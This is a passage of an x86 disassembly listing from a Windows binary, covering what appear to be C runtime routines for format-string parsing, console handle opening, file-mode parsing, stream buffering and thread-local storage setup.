		push	eax
		call	sub_409CE0
		add	esp, 10h
		mov	esi, eax
		test	eax, eax
		jg	short loc_408BCD
		cmp	byte ptr [ebx],	0
		setnz	al
		and	eax, 1
		mov	esi, eax


loc_408BCD:				; CODE XREF: sub_408B70+50j
		cmp	[ebp+var_4A], 25h
		jnz	short loc_408BDC
		lea	eax, [esi-1]
		mov	[ebp+var_50], eax
		jmp	short loc_408BDF
; ---------------------------------------------------------------------------


loc_408BDC:				; CODE XREF: sub_408B70+62j
		mov	[ebp+var_50], esi


loc_408BDF:				; CODE XREF: sub_408B70+6Aj
		mov	eax, [ebp+var_50]
		mov	edi, eax
		test	eax, eax
		jle	short loc_408C06
		push	edi
		push	ebx
		mov	eax, [ebp+var_34]
		push	eax
		call	[ebp+var_38]
		add	esp, 0Ch
		mov	[ebp+var_34], eax
		test	eax, eax
		jnz	short loc_408C03
		or	eax, 0FFFFFFFFh
		jmp	loc_408DDD
; ---------------------------------------------------------------------------


loc_408C03:				; CODE XREF: sub_408B70+89j
		add	[ebp+var_10], edi


loc_408C06:				; CODE XREF: sub_408B70+76j
		add	ebx, esi
		cmp	[ebp+var_4A], 25h
		jz	short loc_408C1E
		cmp	[ebp+var_4A], 0
		jnz	short loc_408BA0
		mov	eax, [ebp+var_10]
		jmp	loc_408DDD
; ---------------------------------------------------------------------------


loc_408C1E:				; CODE XREF: sub_408B70+9Dj
		mov	[ebp+var_18], 0
		mov	[ebp+var_1C], 0
		mov	[ebp+var_20], 0
		mov	[ebp+var_24], 0
		mov	[ebp+var_28], 0
		mov	[ebp+var_2C], 0
		mov	[ebp+var_8], 0
		jmp	short loc_408C69
; ---------------------------------------------------------------------------


loc_408C50:				; CODE XREF: sub_408B70+10Ej
		movzx	eax, [ebp+var_8]
		mov	edx, offset dword_40FAD8
		mov	ecx, esi
		sub	ecx, edx
		or	eax, dword_40FAE0[ecx*4]
		mov	[ebp+var_8], ax
		inc	ebx


loc_408C69:				; CODE XREF: sub_408B70+DEj
		movzx	eax, byte ptr [ebx]
		push	eax
		push	offset dword_40FAD8
		call	sub_409210
		add	esp, 8
		mov	esi, eax
		test	eax, eax
		jnz	short loc_408C50
		cmp	byte ptr [ebx],	2Ah
		jnz	short loc_408CA8
		mov	eax, [ebp+arg_C]
		add	eax, 4
		mov	[ebp+arg_C], eax
		mov	eax, [eax-4]
		mov	[ebp+var_C], eax
		test	eax, eax
		jge	short loc_408CA5
		mov	eax, [ebp+var_C]
		neg	eax
		mov	[ebp+var_C], eax
		or	[ebp+var_8], 4


loc_408CA5:				; CODE XREF: sub_408B70+126j
		inc	ebx
		jmp	short loc_408CDE
; ---------------------------------------------------------------------------


loc_408CA8:				; CODE XREF: sub_408B70+113j
		mov	[ebp+var_C], 0
		jmp	short loc_408CCD
; ---------------------------------------------------------------------------


loc_408CB1:				; CODE XREF: sub_408B70+16Cj
		cmp	[ebp+var_C], 7FFFFFFFh
		jge	short loc_408CCC
		mov	eax, [ebp+var_C]
		lea	eax, [eax+eax*4]
		add	eax, eax
		movzx	edx, byte ptr [ebx]
		lea	eax, [edx+eax-30h]
		mov	[ebp+var_C], eax


loc_408CCC:				; CODE XREF: sub_408B70+148j
		inc	ebx


loc_408CCD:				; CODE XREF: sub_408B70+13Fj
		movzx	eax, byte ptr [ebx]
		mov	edx, off_41189C
		test	word ptr [edx+eax*2], 1
		jnz	short loc_408CB1


loc_408CDE:				; CODE XREF: sub_408B70+136j
		cmp	byte ptr [ebx],	2Eh
		jz	short loc_408CE9
		or	[ebp+var_14], 0FFFFFFFFh
		jmp	short loc_408D39
; ---------------------------------------------------------------------------


loc_408CE9:				; CODE XREF: sub_408B70+171j
		inc	ebx
		mov	eax, ebx
		cmp	byte ptr [eax],	2Ah
		jnz	short loc_408D03
		mov	eax, [ebp+arg_C]
		add	eax, 4
		mov	[ebp+arg_C], eax
		mov	eax, [eax-4]
		mov	[ebp+var_14], eax
		inc	ebx
		jmp	short loc_408D39
; ---------------------------------------------------------------------------


loc_408D03:				; CODE XREF: sub_408B70+17Fj
		mov	[ebp+var_14], 0
		jmp	short loc_408D28
; ---------------------------------------------------------------------------


loc_408D0C:				; CODE XREF: sub_408B70+1C7j
		cmp	[ebp+var_14], 7FFFFFFFh
		jge	short loc_408D27
		mov	eax, [ebp+var_14]
		lea	eax, [eax+eax*4]
		add	eax, eax
		movzx	edx, byte ptr [ebx]
		lea	eax, [edx+eax-30h]
		mov	[ebp+var_14], eax


loc_408D27:				; CODE XREF: sub_408B70+1A3j
		inc	ebx


loc_408D28:				; CODE XREF: sub_408B70+19Aj
		movzx	eax, byte ptr [ebx]
		mov	edx, off_41189C
		test	word ptr [edx+eax*2], 1
		jnz	short loc_408D0C


loc_408D39:				; CODE XREF: sub_408B70+177j
					; sub_408B70+191j
		movzx	eax, byte ptr [ebx]
		push	eax
		push	offset aHjltzl	; "hjltzL"
		call	sub_409210
		add	esp, 8
		test	eax, eax
		jz	short loc_408D56
		mov	eax, ebx
		inc	ebx
		movzx	edi, byte ptr [eax]
		jmp	short loc_408D58
; ---------------------------------------------------------------------------


loc_408D56:				; CODE XREF: sub_408B70+1DCj
		xor	edi, edi


loc_408D58:				; CODE XREF: sub_408B70+1E4j
		mov	eax, edi
		mov	[ebp+var_6], al
		cmp	al, 68h
		jnz	short loc_408D6D
		cmp	byte ptr [ebx],	68h
		jnz	short loc_408D6D
		mov	[ebp+var_6], 62h
		inc	ebx
		jmp	short loc_408D9D
; ---------------------------------------------------------------------------


loc_408D6D:				; CODE XREF: sub_408B70+1EFj
					; sub_408B70+1F4j
		cmp	[ebp+var_6], 6Ch
		jnz	short loc_408D7F
		cmp	byte ptr [ebx],	6Ch
		jnz	short loc_408D7F
		mov	[ebp+var_6], 71h
		inc	ebx
		jmp	short loc_408D9D
; ---------------------------------------------------------------------------


loc_408D7F:				; CODE XREF: sub_408B70+201j
					; sub_408B70+206j
		cmp	[ebp+var_6], 0
		jnz	short loc_408D9D
		cmp	byte ptr [ebx],	49h
		jnz	short loc_408D9D
		cmp	byte ptr [ebx+1], 36h
		jnz	short loc_408D9D
		cmp	byte ptr [ebx+2], 34h
		jnz	short loc_408D9D
		mov	[ebp+var_6], 71h
		add	ebx, 3


loc_408D9D:				; CODE XREF: sub_408B70+1FBj
					; sub_408B70+20Dj ...
		lea	eax, [ebp+var_84]
		push	eax
		mov	eax, ebx
		inc	ebx
		movzx	eax, byte ptr [eax]
		push	eax
		lea	eax, [ebp+arg_C]
		push	eax
		lea	eax, [ebp+var_40]
		push	eax
		call	sub_409FC0
		add	esp, 10h
		test	eax, eax
		jnz	short loc_408DDA
		lea	eax, [ebp+var_84]
		push	eax
		lea	eax, [ebp+var_40]
		push	eax
		call	sub_40A700
		add	esp, 8
		test	eax, eax
		jge	loc_408BA0


loc_408DDA:				; CODE XREF: sub_408B70+24Dj
		or	eax, 0FFFFFFFFh


loc_408DDD:				; CODE XREF: sub_408B70+8Ej
					; sub_408B70+A9j
		pop	edi
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
sub_408B70	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_408DF0	proc near		; CODE XREF: sub_4075F0+6p
		cmp	dword_411238, 0
		jz	short loc_408DFF
		mov	eax, dword_411238
		retn
; ---------------------------------------------------------------------------


loc_408DFF:				; CODE XREF: sub_408DF0+7j
		push	0
		push	0
		push	3
		push	0
		push	3
		push	0C0000000h
		push	offset aConout	; "CONOUT$"
		call	dword_411DD4	; CreateFileA
		retn
sub_408DF0	endp

; ---------------------------------------------------------------------------
		align 10h
		cmp	dword_41123C, 0
		jz	short loc_408E2F
		mov	eax, dword_41123C
		retn
; ---------------------------------------------------------------------------


loc_408E2F:				; CODE XREF: DMN0:00408E27j
		push	0
		push	0
		push	3
		push	0
		push	3
		push	0C0000000h
		push	offset aConin	; "CONIN$"
		call	dword_411DD4	; CreateFileA
		retn
; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_408E50	proc near		; CODE XREF: sub_407690+35p
		push	ebx
		push	esi
		xor	esi, esi
		xor	ebx, ebx


loc_408E56:				; CODE XREF: sub_408E50+4Ej
		cmp	off_411374[ebx*4], 0
		jnz	short loc_408E7C
		push	4Ch
		call	sub_408530
		pop	ecx
		mov	esi, eax
		test	esi, esi
		jz	short loc_408EA0
		mov	off_411374[ebx*4], esi
		mov	word ptr [esi],	80h
		jmp	short loc_408EA0
; ---------------------------------------------------------------------------


loc_408E7C:				; CODE XREF: sub_408E50+Ej
		mov	eax, off_411374[ebx*4]
		cmp	word ptr [eax],	0
		jnz	short loc_408E97
		mov	esi, off_411374[ebx*4]
		mov	word ptr [esi],	0FF7Fh
		jmp	short loc_408EA0
; ---------------------------------------------------------------------------


loc_408E97:				; CODE XREF: sub_408E50+37j
		inc	ebx
		cmp	ebx, 100h
		jb	short loc_408E56


loc_408EA0:				; CODE XREF: sub_408E50+1Cj
					; sub_408E50+2Aj ...
		mov	eax, esi
		pop	esi
		pop	ebx
		retn
sub_408E50	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_408EB0	proc near		; CODE XREF: sub_407690+45p

var_8		= dword	ptr -8
var_2		= word ptr -2
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		sub	esp, 8
		push	ebx
		push	esi
		push	edi
		mov	ebx, [ebp+arg_8]
		test	ebx, ebx
		jnz	short loc_408EC7
		xor	eax, eax
		jmp	loc_408FEB
; ---------------------------------------------------------------------------


loc_408EC7:				; CODE XREF: sub_408EB0+Ej
		mov	ax, [ebx]
		and	ax, 80h
		mov	[ebp+var_2], ax
		mov	edi, ebx
		mov	esi, offset dword_40FB10
		mov	ecx, 13h
		rep movsd
		lea	eax, [ebx+48h]
		mov	[ebx+8], eax
		lea	eax, [ebx+48h]
		mov	[ebx+10h], eax
		lea	eax, [ebx+48h]
		mov	[ebx+14h], eax
		lea	eax, [ebx+48h]
		mov	[ebx+2Ch], eax
		lea	eax, [ebx+48h]
		mov	[ebx+18h], eax
		lea	eax, [ebx+48h]
		mov	[ebx+30h], eax
		lea	eax, [ebx+48h]
		mov	[ebx+1Ch], eax
		lea	eax, [ebx+28h]
		mov	[ebx+20h], eax
		mov	eax, [ebp+arg_4]
		cmp	byte ptr [eax],	72h
		jnz	short loc_408F21
		mov	[ebp+var_8], 1
		jmp	short loc_408F48
; ---------------------------------------------------------------------------


loc_408F21:				; CODE XREF: sub_408EB0+66j
		mov	eax, [ebp+arg_4]
		cmp	byte ptr [eax],	77h
		jnz	short loc_408F32
		mov	[ebp+var_8], 1Ah
		jmp	short loc_408F45
; ---------------------------------------------------------------------------


loc_408F32:				; CODE XREF: sub_408EB0+77j
		mov	eax, [ebp+arg_4]
		cmp	byte ptr [eax],	61h
		setnz	al
		and	eax, 1
		dec	eax
		and	eax, 16h
		mov	[ebp+var_8], eax


loc_408F45:				; CODE XREF: sub_408EB0+80j
		mov	eax, [ebp+var_8]


loc_408F48:				; CODE XREF: sub_408EB0+6Fj
		movzx	eax, [ebp+var_2]
		or	eax, [ebp+var_8]
		mov	[ebx], ax
		test	word ptr [ebx],	3
		jnz	short loc_408F8B
		push	ebx
		call	sub_4078F0
		pop	ecx
		xor	eax, eax
		jmp	loc_408FEB
; ---------------------------------------------------------------------------


loc_408F67:				; CODE XREF: sub_408EB0+E5j
					; sub_408EB0+EDj
		mov	eax, [ebp+arg_4]
		cmp	byte ptr [eax],	62h
		jnz	short loc_408F7C
		test	word ptr [ebx],	20h
		jnz	short loc_408F9F
		or	word ptr [ebx],	20h
		jmp	short loc_408F8B
; ---------------------------------------------------------------------------


loc_408F7C:				; CODE XREF: sub_408EB0+BDj
		movzx	eax, word ptr [ebx]
		and	eax, 3
		cmp	eax, 3
		jz	short loc_408F9F
		or	word ptr [ebx],	3


loc_408F8B:				; CODE XREF: sub_408EB0+A7j
					; sub_408EB0+CAj
		mov	eax, [ebp+arg_4]
		inc	eax
		mov	[ebp+arg_4], eax
		cmp	byte ptr [eax],	62h
		jz	short loc_408F67
		mov	eax, [ebp+arg_4]
		cmp	byte ptr [eax],	2Bh
		jz	short loc_408F67


loc_408F9F:				; CODE XREF: sub_408EB0+C4j
					; sub_408EB0+D5j
		cmp	[ebp+arg_0], 0
		jz	short loc_408FCD
		mov	eax, [ebp+arg_4]
		push	eax
		movzx	eax, word ptr [ebx]
		push	eax
		mov	eax, [ebp+arg_0]
		push	eax
		call	sub_40A970
		add	esp, 0Ch
		mov	[ebx+4], eax
		cmp	dword ptr [ebx+4], 0
		jge	short loc_408FE4
		push	ebx
		call	sub_4078F0
		pop	ecx
		xor	eax, eax
		jmp	short loc_408FEB
; ---------------------------------------------------------------------------


loc_408FCD:				; CODE XREF: sub_408EB0+F3j
		cmp	[ebp+arg_C], 0
		jge	short loc_408FDE
		push	ebx
		call	sub_4078F0
		pop	ecx
		xor	eax, eax
		jmp	short loc_408FEB
; ---------------------------------------------------------------------------


loc_408FDE:				; CODE XREF: sub_408EB0+121j
		mov	eax, [ebp+arg_C]
		mov	[ebx+4], eax


loc_408FE4:				; CODE XREF: sub_408EB0+110j
		call	sub_407790
		mov	eax, ebx


loc_408FEB:				; CODE XREF: sub_408EB0+12j
					; sub_408EB0+B2j ...
		pop	edi
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
sub_408EB0	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_409000	proc near		; CODE XREF: sub_407790+4Dp

arg_0		= dword	ptr  4

		mov	eax, dword_4111A8
		cmp	dword_4111A4, eax
		ja	short loc_409014
		call	sub_40A9E0
		jmp	short locret_40902D
; ---------------------------------------------------------------------------


loc_409014:				; CODE XREF: sub_409000+Bj
		mov	eax, dword_4111A8
		lea	edx, [eax+1]
		mov	dword_4111A8, edx
		mov	edx, [esp+arg_0]
		mov	dword_411064[eax*4], edx

locret_40902D:				; CODE XREF: sub_409000+12j
		retn
sub_409000	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_409030	proc near		; CODE XREF: sub_407810+8p
					; sub_407AF0+D0p ...

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 8
		push	ebx
		push	esi
		push	edi
		mov	ebx, [ebp+arg_0]
		test	ebx, ebx
		jnz	short loc_40908E
		push	6
		call	sub_408AD0
		pop	ecx
		mov	[ebp+var_8], 0
		mov	[ebp+var_4], 0
		jmp	short loc_409078
; ---------------------------------------------------------------------------


loc_409058:				; CODE XREF: sub_409030+4Fj
		mov	eax, [ebp+var_4]
		mov	eax, off_411374[eax*4]
		test	eax, eax
		jz	short loc_409075
		push	eax
		call	sub_409030
		pop	ecx
		test	eax, eax
		jge	short loc_409075
		or	[ebp+var_8], 0FFFFFFFFh


loc_409075:				; CODE XREF: sub_409030+34j
					; sub_409030+3Fj
		inc	[ebp+var_4]


loc_409078:				; CODE XREF: sub_409030+26j
		cmp	[ebp+var_4], 100h
		jl	short loc_409058
		push	6
		call	sub_408B50
		pop	ecx
		mov	eax, [ebp+var_8]
		jmp	short loc_409100
; ---------------------------------------------------------------------------


loc_40908E:				; CODE XREF: sub_409030+Ej
		test	word ptr [ebx],	2000h
		jnz	short loc_409099
		xor	eax, eax
		jmp	short loc_409100
; ---------------------------------------------------------------------------


loc_409099:				; CODE XREF: sub_409030+63j
		mov	esi, [ebx+8]
		jmp	short loc_4090D5
; ---------------------------------------------------------------------------


loc_40909E:				; CODE XREF: sub_409030+A8j
		mov	eax, [ebx+10h]
		sub	eax, esi
		push	eax
		push	esi
		mov	eax, [ebx+4]
		push	eax
		call	sub_40ABF0
		add	esp, 0Ch
		mov	edi, eax
		test	edi, edi
		jg	short loc_4090D3
		mov	eax, [ebx+8]
		mov	[ebx+10h], eax
		mov	eax, [ebx+8]
		mov	[ebx+18h], eax
		mov	eax, [ebx+8]
		mov	[ebx+30h], eax
		or	word ptr [ebx],	200h
		or	eax, 0FFFFFFFFh
		jmp	short loc_409100
; ---------------------------------------------------------------------------


loc_4090D3:				; CODE XREF: sub_409030+85j
		add	esi, edi


loc_4090D5:				; CODE XREF: sub_409030+6Cj
		cmp	esi, [ebx+10h]
		jb	short loc_40909E
		mov	eax, [ebx+8]
		mov	[ebx+10h], eax
		test	word ptr [ebx],	0C00h
		jz	short loc_4090EC
		mov	esi, [ebx+8]
		jmp	short loc_4090EF
; ---------------------------------------------------------------------------


loc_4090EC:				; CODE XREF: sub_409030+B5j
		mov	esi, [ebx+0Ch]


loc_4090EF:				; CODE XREF: sub_409030+BAj
		test	word ptr [ebx],	4000h
		jz	short loc_4090FB
		mov	[ebx+18h], esi
		jmp	short loc_4090FE
; ---------------------------------------------------------------------------


loc_4090FB:				; CODE XREF: sub_409030+C4j
		mov	[ebx+30h], esi


loc_4090FE:				; CODE XREF: sub_409030+C9j
		xor	eax, eax


loc_409100:				; CODE XREF: sub_409030+5Cj
					; sub_409030+67j ...
		pop	edi
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
sub_409030	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_409110	proc near		; CODE XREF: sub_4091B0+41p
					; sub_40BC70+328p ...

var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 4
		push	ebx
		push	esi
		mov	ebx, [ebp+arg_0]
		push	ebx
		call	sub_40AEF0
		pop	ecx
		cmp	eax, 0FFFFFFFFh
		jz	short loc_40915F
		cmp	ebx, 1
		jz	short loc_409133
		cmp	ebx, 2
		jnz	short loc_40914D


loc_409133:				; CODE XREF: sub_409110+1Cj
		push	1
		call	sub_40AEF0
		pop	ecx
		mov	[ebp+var_4], eax
		push	2
		call	sub_40AEF0
		pop	ecx
		mov	edx, [ebp+var_4]
		cmp	edx, eax
		jz	short loc_40915F


loc_40914D:				; CODE XREF: sub_409110+21j
		push	ebx
		call	sub_40AEF0
		pop	ecx
		push	eax
		call	dword_411CFC	; CloseHandle
		test	eax, eax
		jz	short loc_409163


loc_40915F:				; CODE XREF: sub_409110+17j
					; sub_409110+3Bj
		xor	esi, esi
		jmp	short loc_40916B
; ---------------------------------------------------------------------------


loc_409163:				; CODE XREF: sub_409110+4Dj
		call	dword_411CEC	; RtlGetLastWin32Error
		mov	esi, eax


loc_40916B:				; CODE XREF: sub_409110+51j
		push	ebx
		call	sub_40ADA0
		pop	ecx
		mov	eax, ebx
		and	eax, 1Fh
		imul	eax, 24h
		mov	edx, ebx
		sar	edx, 5
		mov	edx, dword_41398C[edx*4]
		mov	byte ptr [edx+eax+4], 0
		test	esi, esi
		jz	short loc_40919B
		push	esi
		call	sub_4085D0
		pop	ecx
		or	eax, 0FFFFFFFFh
		jmp	short loc_40919D
; ---------------------------------------------------------------------------


loc_40919B:				; CODE XREF: sub_409110+7Dj
		xor	eax, eax


loc_40919D:				; CODE XREF: sub_409110+89j
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
sub_409110	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_4091B0	proc near		; CODE XREF: sub_407810+30p

arg_0		= dword	ptr  4

		push	ebx
		push	esi
		mov	ebx, [esp+8+arg_0]
		cmp	ebx, dword_413A8C
		jnb	short loc_4091D9
		mov	eax, ebx
		and	eax, 1Fh
		imul	eax, 24h
		mov	edx, ebx
		sar	edx, 5
		mov	edx, dword_41398C[edx*4]
		test	byte ptr [edx+eax+4], 1
		jnz	short loc_4091E9


loc_4091D9:				; CODE XREF: sub_4091B0+Cj
		call	sub_408730
		mov	dword ptr [eax], 9
		or	eax, 0FFFFFFFFh
		jmp	short loc_409202
; ---------------------------------------------------------------------------


loc_4091E9:				; CODE XREF: sub_4091B0+27j
		push	ebx
		call	sub_40B010
		pop	ecx
		push	ebx
		call	sub_409110
		pop	ecx
		mov	esi, eax
		push	ebx
		call	sub_40B070
		pop	ecx
		mov	eax, esi


loc_409202:				; CODE XREF: sub_4091B0+37j
		pop	esi
		pop	ebx
		retn
sub_4091B0	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_409210	proc near		; CODE XREF: sub_407A50+39p
					; sub_408B70+102p ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	ecx, [esp+arg_0]
		mov	eax, [esp+arg_4]
		mov	dl, al
		jmp	short loc_409225
; ---------------------------------------------------------------------------


loc_40921C:				; CODE XREF: sub_409210+17j
		cmp	byte ptr [ecx],	0
		jnz	short loc_409224
		xor	eax, eax
		retn
; ---------------------------------------------------------------------------


loc_409224:				; CODE XREF: sub_409210+Fj
		inc	ecx


loc_409225:				; CODE XREF: sub_409210+Aj
		cmp	[ecx], dl
		jnz	short loc_40921C
		mov	eax, ecx
		retn
sub_409210	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_409230	proc near		; CODE XREF: sub_407AF0+3Dp
					; sub_40D190+1Dp

var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 4
		push	ebx
		mov	ebx, [ebp+arg_0]
		mov	eax, [ebx+18h]
		cmp	eax, [ebx+10h]
		jbe	short loc_409249
		xor	eax, eax
		jmp	loc_409322
; ---------------------------------------------------------------------------


loc_409249:				; CODE XREF: sub_409230+10j
		movzx	eax, word ptr [ebx]
		and	eax, 9002h
		cmp	eax, 2
		jz	short loc_409285
		movzx	eax, word ptr [ebx]
		mov	[ebp+var_4], eax
		test	eax, 8000h
		setnz	al
		and	eax, 1
		dec	eax
		and	eax, 4000h
		add	eax, 200h
		mov	edx, [ebp+var_4]
		or	edx, eax
		mov	ax, dx
		mov	[ebx], ax
		or	eax, 0FFFFFFFFh
		jmp	loc_409322
; ---------------------------------------------------------------------------


loc_409285:				; CODE XREF: sub_409230+24j
		movzx	eax, word ptr [ebx]
		and	eax, 6000h
		cmp	eax, 6000h
		jnz	short loc_4092AC
		mov	eax, [ebx+0Ch]
		cmp	eax, [ebx+10h]
		ja	short loc_4092AC
		push	ebx
		call	sub_409030
		pop	ecx
		test	eax, eax
		jz	short loc_4092AC
		or	eax, 0FFFFFFFFh
		jmp	short loc_409322
; ---------------------------------------------------------------------------


loc_4092AC:				; CODE XREF: sub_409230+62j
					; sub_409230+6Aj ...
		test	word ptr [ebx],	0C00h
		jnz	short loc_4092BB
		lea	eax, [ebx+48h]
		cmp	eax, [ebx+8]
		jz	short loc_4092BD


loc_4092BB:				; CODE XREF: sub_409230+81j
		jmp	short loc_40930F
; ---------------------------------------------------------------------------


loc_4092BD:				; CODE XREF: sub_409230+89j
		push	200h
		call	sub_408530
		pop	ecx
		mov	[ebx+8], eax
		test	eax, eax
		jnz	short loc_4092E9
		lea	eax, [ebx+48h]
		mov	[ebx+8], eax
		mov	eax, [ebx+8]
		mov	[ebx+10h], eax
		mov	eax, [ebx+8]
		inc	eax
		mov	[ebx+0Ch], eax
		call	sub_407790
		jmp	short loc_40930F
; ---------------------------------------------------------------------------


loc_4092E9:				; CODE XREF: sub_409230+9Dj
		or	word ptr [ebx],	40h
		mov	eax, [ebx+8]
		mov	[ebx+10h], eax
		mov	eax, [ebx+8]
		add	eax, 200h
		mov	[ebx+0Ch], eax
		mov	eax, [ebx+8]
		mov	[ebx+2Ch], eax
		mov	eax, [ebx+8]
		mov	[ebx+30h], eax
		call	sub_407790


loc_40930F:				; CODE XREF: sub_409230:loc_4092BBj
					; sub_409230+B7j
		mov	eax, [ebx+8]
		mov	[ebx+14h], eax
		mov	eax, [ebx+0Ch]
		mov	[ebx+18h], eax
		or	word ptr [ebx],	6000h
		xor	eax, eax


loc_409322:				; CODE XREF: sub_409230+14j
					; sub_409230+50j ...
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
sub_409230	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_409330	proc near		; CODE XREF: sub_407AF0+59p
					; sub_409FC0+696p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		push	ebx
		mov	ecx, [esp+4+arg_8]
		mov	eax, [esp+4+arg_4]
		mov	bl, al
		mov	edx, [esp+4+arg_0]
		jmp	short loc_40934B
; ---------------------------------------------------------------------------


loc_409341:				; CODE XREF: sub_409330+1Dj
		cmp	[edx], bl
		jnz	short loc_409349
		mov	eax, edx
		jmp	short loc_409351
; ---------------------------------------------------------------------------


loc_409349:				; CODE XREF: sub_409330+13j
		inc	edx
		dec	ecx


loc_40934B:				; CODE XREF: sub_409330+Fj
		test	ecx, ecx
		jnz	short loc_409341
		xor	eax, eax


loc_409351:				; CODE XREF: sub_409330+17j
		pop	ebx
		retn
sub_409330	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_409360	proc near		; CODE XREF: sub_407E30:loc_407E77p
		push	ebx
		call	sub_408A30
		call	dword_411DD8	; TlsAlloc
		mov	dword_411774, eax
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_40937C
		xor	eax, eax
		jmp	short loc_4093B7
; ---------------------------------------------------------------------------


loc_40937C:				; CODE XREF: sub_409360+16j
		push	48h
		call	sub_408530
		pop	ecx
		mov	ebx, eax
		test	eax, eax
		jz	short loc_40939B
		push	ebx
		mov	eax, dword_411774
		push	eax
		call	dword_411D9C	; TlsSetValue
		test	eax, eax
		jnz	short loc_40939F


loc_40939B:				; CODE XREF: sub_409360+28j
		xor	eax, eax
		jmp	short loc_4093B7
; ---------------------------------------------------------------------------


loc_40939F:				; CODE XREF: sub_409360+39j
		push	ebx
		call	sub_4093F0
		pop	ecx
		call	dword_411DDC	; GetCurrentThreadId
		mov	[ebx], eax
		or	dword ptr [ebx+4], 0FFFFFFFFh
		mov	eax, 1


loc_4093B7:				; CODE XREF: sub_409360+1Aj
					; sub_409360+3Dj
		pop	ebx
		retn
sub_409360	endp

; ---------------------------------------------------------------------------
		align 10h
		call	sub_408A70
		cmp	dword_411774, 0FFFFFFFFh
		jz	short locret_4093E4
		mov	eax, dword_411774
		push	eax
		call	dword_411DE0	; TlsFree
		or	dword_411774, 0FFFFFFFFh

locret_4093E4:				; CODE XREF: DMN0:004093CFj
		retn
; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_4093F0	proc near		; CODE XREF: sub_407CA0+17p
					; sub_409360+40p ...

arg_0		= dword	ptr  4

		push	ebx
		mov	ebx, [esp+4+arg_0]
		mov	edx, ebx
		mov	ecx, 48h
		xor	eax, eax
		push	edi
		mov	edi, edx
		rep stosb
		pop	edi
		mov	eax, edx
		mov	dword ptr [ebx+34h], offset dword_4117E8
		mov	dword ptr [ebx+10h], 1
		pop	ebx
		retn
sub_4093F0	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_409420	proc near		; CODE XREF: sub_407D30+1p sub_408730p ...
		push	ebx
		push	esi
		call	dword_411CEC	; RtlGetLastWin32Error
		mov	esi, eax
		mov	eax, dword_411774
		push	eax
		call	dword_411DE4	; TlsGetValue
		mov	ebx, eax
		test	eax, eax
		jnz	short loc_409478
		push	48h
		call	sub_408530
		pop	ecx
		mov	ebx, eax
		test	eax, eax
		jz	short loc_409470
		push	ebx
		mov	eax, dword_411774
		push	eax
		call	dword_411D9C	; TlsSetValue
		test	eax, eax
		jz	short loc_409470
		push	ebx
		call	sub_4093F0
		pop	ecx
		call	dword_411DDC	; GetCurrentThreadId
		mov	[ebx], eax
		or	dword ptr [ebx+4], 0FFFFFFFFh
		jmp	short loc_409478
; ---------------------------------------------------------------------------


loc_409470:				; CODE XREF: sub_409420+28j
					; sub_409420+39j
		push	1
		call	sub_409520
		pop	ecx


loc_409478:				; CODE XREF: sub_409420+1Aj
					; sub_409420+4Ej
		push	esi
		call	dword_411D18	; RtlRestoreLastWin32Error
		mov	eax, ebx
		pop	esi
		pop	ebx
		retn
sub_409420	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_409490	proc near		; CODE XREF: sub_407D30+28p

arg_0		= dword	ptr  4

		push	ebx
		mov	ebx, [esp+4+arg_0]
		cmp	dword_411774, 0FFFFFFFFh
		jz	short loc_40951C
		test	ebx, ebx
		jnz	short loc_4094B3
		mov	eax, dword_411774
		push	eax
		call	dword_411DE4	; TlsGetValue
		mov	ebx, eax


loc_4094B3:				; CODE XREF: sub_409490+13j
		test	ebx, ebx
		jz	short loc_40950E
		mov	eax, [ebx+20h]
		push	eax
		call	sub_407480
		pop	ecx
		mov	eax, [ebx+24h]
		push	eax
		call	sub_407480
		pop	ecx
		mov	eax, [ebx+28h]
		push	eax
		call	sub_407480
		pop	ecx
		mov	eax, [ebx+2Ch]
		push	eax
		call	sub_407480
		pop	ecx
		mov	eax, [ebx+30h]
		push	eax
		call	sub_407480
		pop	ecx
		mov	eax, [ebx+34h]
		cmp	eax, offset dword_4117E8
		jz	short loc_4094FD
		mov	eax, [ebx+34h]
		push	eax
		call	sub_407480
		pop	ecx


loc_4094FD:				; CODE XREF: sub_409490+61j
		mov	eax, [ebx+3Ch]
		push	eax
		call	sub_407480
		pop	ecx
		push	ebx
		call	sub_407480
		pop	ecx


loc_40950E:				; CODE XREF: sub_409490+25j
